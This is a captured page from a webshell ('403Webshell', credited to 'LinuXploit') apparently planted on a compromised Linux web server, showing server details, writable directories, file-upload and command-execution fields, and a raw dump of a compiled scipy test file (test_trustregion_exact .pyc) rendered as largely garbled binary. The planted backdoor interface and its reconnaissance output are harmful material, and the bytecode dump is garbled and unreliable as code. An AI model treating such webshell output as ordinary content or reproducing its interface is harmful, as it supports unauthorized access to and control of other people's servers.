403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/optimize/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/optimize/tests/__pycache__/test_trustregion_exact.cpython-311.pyc
�

d�c�2���dZddlZddlmZmZmZddlmZm	Z	m
Z
mZmZddl
mZmZmZd�ZGd�d��ZGd	�d
��ZGd�d��ZdS)
zs
Unit tests for trust-region iterative subproblem.

To run it in its simplest form::
  nosetests test_optimize.py

�N)� estimate_smallest_singular_value�singular_leading_submatrix�IterativeSubproblem)�svd�get_lapack_funcs�det�qr�norm)�assert_array_equal�assert_equal�assert_array_almost_equalc�~�tj�dd||f��}t|d���\}}}tj�|||��}tj|��ddd�}tj||��}tj||j��}	|dkrStj|��}
tj�dd|dz
��|
dd�<tj||
��}
n<|dkrtj|��}
n!tj�dd|��}
|	|
fS)N�����True)�pivoting�hard�jac_equal_zero)	�np�random�uniformr	�sort�multiply�dot�T�zeros)�n�min_eig�max_eig�case�rand�Q�_�	eigvalues�Qaux�A�gs           �M/usr/lib/python3/dist-packages/scipy/optimize/tests/test_trustregion_exact.py�random_entryr)s!���9���R��Q��F�+�+�D����'�'�'�G�A�q�!��	�!�!�'�7�A�6�6�I���	�"�"�4�4�R�4�(�I��;�y�!�$�$�D�
��t�Q�S���A��v�~�~��H�Q�K�K����"�"�2�q�!�A�#�.�.��#�2�#���F�1�a�L�L���	
�!�	!�	!��H�Q�K�K����I���b�!�Q�'�'���a�4�K�c��eZdZd�ZdS)�!TestEstimateSmallestSingularValuec�4�tjgd�gd�gd�gd�g��}t|��\}}}|d}|ddd�f}t|��\}}t	||d���t	t|��t|��d���dS)N)r���)rg�������?�<�)rr皙�����?�	)rrr�
r�)�decimal)r�arrayrrr
�abs)	�self�C�U�s�Vt�smin_svd�zmin_svd�smin�zmins	         r(� test_for_ill_condiotioned_matrixzBTestEstimateSmallestSingularValue.test_for_ill_condiotioned_matrix2s���
�H�l�l�l�&�&�&�$�n�n�#�m�m�%�
&�
&���q�6�6���1�b��R�5���b�!�!�!�e�9��6�a�8�8�
��d�	"�$��!�<�<�<�<�!�#�d�)�)�S��]�]�A�F�F�F�F�F�Fr*N)�__name__�
__module__�__qualname__rC�r*r(r,r,0s(������G�G�G�G�Gr*r,c� �eZdZd�Zd�Zd�ZdS)�TestSingularLeadingSubmatrixc��tjgd�gd�gd�g��}td|f��\}||ddd���\}}t|||��\}}||dz
|dz
fxx|z
cc<t	t|d|�d|�f��d	��tj|tj||����}t	|d	��dS)
N)rr.r/)r.r0�)r/rK���potrfFT��lower�overwrite_a�cleanrr�rr8rrr
rr�r:r&�cholesky�c�k�delta�v�quadratic_terms        r(�+test_for_already_singular_leading_submatrixzHTestSingularLeadingSubmatrix.test_for_already_singular_leading_submatrixKs���
�H�i�i�i��i�i��i�i�!�
"�
"��
%�Z�!��6�6�	���x���E��F�F�F���1�-�a��A�6�6���q�	�!�A�#�q��s�(����u�����	"�#�a����B�Q�B��i�.�.�!�4�4�4����2�6�!�Q�<�<�0�0��!�.�!�4�4�4�4�4r*c��tjgd�gd�gd�gd�gd�g��}td|f��\}||ddd�	��\}}t|||��\}}||d
z
|d
z
fxx|z
cc<t	t|d|�d|�f��d��tj|tj||����}t	|d��dS)N)rr.r/r2r6)r.rKrKr4r)r/rK�rr.)r2r4rr2rK)r6rr.rKr6rMFTrOrr)r�asarrayrrr
rrrTs        r(�#test_for_simetric_indefinite_matrixz@TestSingularLeadingSubmatrix.test_for_simetric_indefinite_matrixds��
�J����'���(�(�(�'���'���	)�
*�
*��%�Z�!��6�6�	���x���E��F�F�F���1�-�a��A�6�6���q�	�!�A�#�q��s�(����u�����	"�#�a����B�Q�B��i�.�.�!�4�4�4����2�6�!�Q�<�<�0�0��!�.�!�4�4�4�4�4r*c��tjgd�gd�gd�g��}td|f��\}||ddd���\}}t|||��\}}||dz
|dz
fxx|z
cc<t	t|d|�d|�f��d	��tj|tj||����}t	|d	��dS)
N)rr/r])r/�rK)r]rKrLrMFTrOrrrSrTs        r(�$test_for_first_element_equal_to_zerozATestSingularLeadingSubmatrix.test_for_first_element_equal_to_zeros���
�H�j�j�j� �j�j� �j�j�"�
#�
#��
%�Z�!��6�6�	���x���E��F�F�F���1�-�a��A�6�6���q�	�!�A�#�q��s�(����u�����	"�#�a����B�Q�B��i�.�.�!�4�4�4����2�6�!�Q�<�<�0�0��!�.�!�4�4�4�4�4r*N)rDrErFr[r_rbrGr*r(rIrIIsA������5�5�5�25�5�5�65�5�5�5�5r*rIc�2�eZdZd�Zd�Zd�Zd�Zd�Zd�ZdS)�TestIterativeSubproblemc�����gd�gd�gd�gd�g�gd��d}tdd��fd	��fd
�dd���}|�|��\}}t|gd
���t|d��dS)N�r5r.r/r0�r.rr2r�r/r2rr2�r0rr2r.)rrrrrrc��dS�NrrG��xs r(�<lambda>z@TestIterativeSubproblem.test_for_the_easy_case.<locals>.<lambda>����A�r*c�,��tj���S�N�rr8�rmr's �r(rnz@TestIterativeSubproblem.test_for_the_easy_case.<locals>.<lambda>�����B�H�Q�K�K�r*c�,��tj���Srqrr�rm�Hs �r(rnz@TestIterativeSubproblem.test_for_the_easy_case.<locals>.<lambda>�����R�X�a�[�[�r*绽���|�=�rm�fun�jac�hess�k_easy�k_hard)g�8<�bp?g�g�E���g��v�?gˍ��۪߿T�r�solver
)r:�trust_radius�subprob�p�
hits_boundaryrwr's     @@r(�test_for_the_easy_casez.TestIterativeSubproblem.test_for_the_easy_case�s������]�]�
�\�\�
�\�\�
�\�\�
��
�L�L����&��*5�+�*?�*?�*?�*?�+@�+@�+@�+@�-2�-2�4�4�4��#�=�=��6�6���=�!�!�&?�&?�&?�	@�	@�	@�!�-��6�6�6�6�6r*c�����gd�gd�gd�gd�g�gd��d}d}tdd	��fd
��fd�dd�
��}|�|��\}}t||j��dS)Nrfrgrhri)gAS���@rrrgrv�f(n �rrc��dSrkrGrls r(rnz@TestIterativeSubproblem.test_for_the_hard_case.<locals>.<lambda>�ror*c�,��tj���Srqrrrss �r(rnz@TestIterativeSubproblem.test_for_the_hard_case.<locals>.<lambda>�rtr*c�,��tj���Srqrrrvs �r(rnz@TestIterativeSubproblem.test_for_the_hard_case.<locals>.<lambda>�rxr*ryrz)rr�r
�lambda_current)r:r=r�r�r�r�rwr's      @@r(�test_for_the_hard_casez.TestIterativeSubproblem.test_for_the_hard_case�s������]�]�
�\�\�
�\�\�
�\�\�
��
*�)�)������&��*5�+�*?�*?�*?�*?�+@�+@�+@�+@�-2�-2�4�4�4��#�=�=��6�6���=�!�1�"�g�&<�=�=�=�=�=r*c�0���gd�gd�gd�gd�gd�g�gd��tdd��fd	��fd
����}|�d��\}}t|gd
���t|d��t|jd��t|jd��dS)N)g�n�o���?獞���u�?�,wn�)��?�/�K�����뚘G�?)r�g켮�wO@�٢y�n*�?�r�<8�ٿ��&Î�?)r�r�g�6��
@��ĽCԿ�8���K��?)r�r�r�g�c���?���>�ڿ)r�r�r�r�g�-�Q�?)g*��<sA�?g���E�?gM x����?gz������?g��=��޿rc��dSrkrGrls r(rnzGTestIterativeSubproblem.test_for_interior_convergence.<locals>.<lambda>�ror*c�,��tj���Srqrrrss �r(rnzGTestIterativeSubproblem.test_for_interior_convergence.<locals>.<lambda>�rtr*c�,��tj���Srqrrrvs �r(rnzGTestIterativeSubproblem.test_for_interior_convergence.<locals>.<lambda>�rxr*)rmr{r|r}皙�����?)g8b҄��g�O
��L�?g�p4O�F̿g� �
q�g�o�-7�?Fr)rr�r
r��niter�r:r�r�r�rwr's    @@r(�test_for_interior_convergencez5TestIterativeSubproblem.test_for_interior_convergence�s�����
H�
H�
H�
J�
J�
J�
I�
I�
I�
L�
L�
L�
J�
J�
J�	
L��
J�I�I��&��*5�+�*?�*?�*?�*?�+@�+@�+@�+@�B�B�B��#�=�=��-�-���=�!�!�&?�&?�&?�	@�	@�	@�!�-��7�7�7�!�'�"8�!�<�<�<�!�'�-��3�3�3�3�3r*c�����gd�gd�gd�gd�gd�g�gd��tdd��fd	��fd
�dd���}|�d
��\}}t|gd���t|d��dS)N�g�Va�U�?���`A@�5��F��?��9�)n@���c�ѿ�r�g��{�����.<��?�~�������:]���?�r�r�g@33����5�:�����I���r�r�r�gй��T���F�K�տ�r�r�r�r�g��&�R���)rrrrrrc��dSrkrGrls r(rnzATestIterativeSubproblem.test_for_jac_equal_zero.<locals>.<lambda>�ror*c�,��tj���Srqrrrss �r(rnzATestIterativeSubproblem.test_for_jac_equal_zero.<locals>.<lambda>�rtr*c�,��tj���Srqrrrvs �r(rnzATestIterativeSubproblem.test_for_jac_equal_zero.<locals>.<lambda>�rxr*ryrzr��g�iG7㰱?gl�$��W��g����Z��g-�O�|οg�m��/�Tr�r�s    @@r(�test_for_jac_equal_zeroz/TestIterativeSubproblem.test_for_jac_equal_zero�s�����
K�
K�
K�
K�
K�
K�
L�
L�
L�
L�
L�
L�
M�
M�
M�	
O��
�O�O��&��*5�+�*?�*?�*?�*?�+@�+@�+@�+@�-2�-2�4�4�4��#�=�=��-�-���=�!�!�&3�&3�&3�	4�	4�	4�	"�-��6�6�6�6�6r*c�����gd�gd�gd�gd�gd�g�gd��tdd��fd	��fd
�dd���}|�d
��\}}t|gd���t|d��dS)Nr�r�r�r�r�)rrrrgV瞯�<rc��dSrkrGrls r(rnzITestIterativeSubproblem.test_for_jac_very_close_to_zero.<locals>.<lambda>	ror*c�,��tj���Srqrrrss �r(rnzITestIterativeSubproblem.test_for_jac_very_close_to_zero.<locals>.<lambda>
rtr*c�,��tj���Srqrrrvs �r(rnzITestIterativeSubproblem.test_for_jac_very_close_to_zero.<locals>.<lambda>rxr*ryrzr�r�Tr�r�s    @@r(�test_for_jac_very_close_to_zeroz7TestIterativeSubproblem.test_for_jac_very_close_to_zero�s�����
K�
K�
K�
K�
K�
K�
L�
L�
L�
L�
L�
L�
M�
M�
M�	
O��
 ����&��*5�+�*?�*?�*?�*?�+@�+@�+@�+@�-2�-2�4�4�4��#�=�=��-�-���=�!�!�&3�&3�&3�	4�	4�	4�	"�-��6�6�6�6�6r*c�����tj�d��d}dD�]�}gd�}|D�]�\}}t||||��\��gd�}|D�]�}t	dd��fd��fd	�d
d
���}|�|��\}	}
dtj|	tj�|	����ztj�|	��z}gd
�}|D�]\}
}t|dz
dtj|
��z
��}d|
z
}t	dd��fd��fd�||���}|�|��\}}dtj|tj�|����ztj�|��z}|r=ttj
t|��|z
��|dz
|zkd��n!tt|��|kd��t||
|zkd����!�����Đ��dS)NrrK)�easyrr))i��i�)������)r�r)r�rK)r�r5)rr5)rKr5)��)	皙�����?g333333�?g333333�?r3rg333333�?gffffff
@g@r5rc��dSrkrGrls r(rnzATestIterativeSubproblem.test_for_random_entries.<locals>.<lambda>2s��q�r*c����SrqrGrss �r(rnzATestIterativeSubproblem.test_for_random_entries.<locals>.<lambda>3����q�r*c����SrqrGrvs �r(rnzATestIterativeSubproblem.test_for_random_entries.<locals>.<lambda>4r�r*ry)r~r��?))r�r.)r�r�)g�������?g)\��(�?c��dSrkrGrls r(rnzATestIterativeSubproblem.test_for_random_entries.<locals>.<lambda>Ms���r*c����SrqrGrss �r(rnzATestIterativeSubproblem.test_for_random_entries.<locals>.<lambda>N�����r*c����SrqrGrvs �r(rnzATestIterativeSubproblem.test_for_random_entries.<locals>.<lambda>Or�r*T)
rr�seedr)rr�r�min�sqrtrr9r
r)r:rr �
eig_limitsrr�trust_radius_listr��
subprob_ac�p_ac�hits_boundary_ac�J_ac�
stop_criteria�k_opt�k_trfr~rr�r�r��Jrwr's                     @@r(�test_for_random_entriesz/TestIterativeSubproblem.test_for_random_entriess�����
�	���q����
��6�C	<�C	<�D�$�$�$�J�%/�8
<�8
<� ���$�A�w���>�>���1�%O�$N�$N�!�$5�0<�0<�L�!4�Q�5@�[�5@�[�[�[�5@�[�[�[�<A�<A�"C�"C�"C�J�.8�-=�-=�l�-K�-K�*�D�*��r�v�d�B�F�1�d�O�O�<�<�<�R�V�A�t�_�_�L�D�%2�%2�%2�M�)6�<�<���u�"%�U�1�W�%&�r�w�u�~�~�%5�"7�"7��!"�5���#6�a�6A�k�6A�k�k�k�6A�k�k�k�=C�=C�#E�#E�#E��,3�=�=��+F�+F�(��=� ���q�"�&��A�,�,� 7� 7�7���q�!���D��)�H�.�r�v�d�1�g�g�l�6J�/K�/K�05�a���/E�0F�GK�M�M�M�M�)��a���L�)@�$�G�G�G�%�Q�%��*�_�d�;�;�;�;�=<�%0<�8
<�C	<�C	<r*N)	rDrErFr�r�r�r�r�r�rGr*r(rdrd�ss������7�7�7�4>�>�>�24�4�4�.7�7�7�07�7�7�0J<�J<�J<�J<�J<r*rd)�__doc__�numpyr�!scipy.optimize._trustregion_exactrrr�scipy.linalgrrrr	r
�
numpy.testingrrr
r)r,rIrdrGr*r(�<module>r�sd������������������@�?�?�?�?�?�?�?�?�?�?�?�?�?�D�D�D�D�D�D�D�D�D�D����<G�G�G�G�G�G�G�G�2M5�M5�M5�M5�M5�M5�M5�M5�`F<�F<�F<�F<�F<�F<�F<�F<�F<�F<r*

Youez - 2016 - github.com/yon3zu
LinuXploit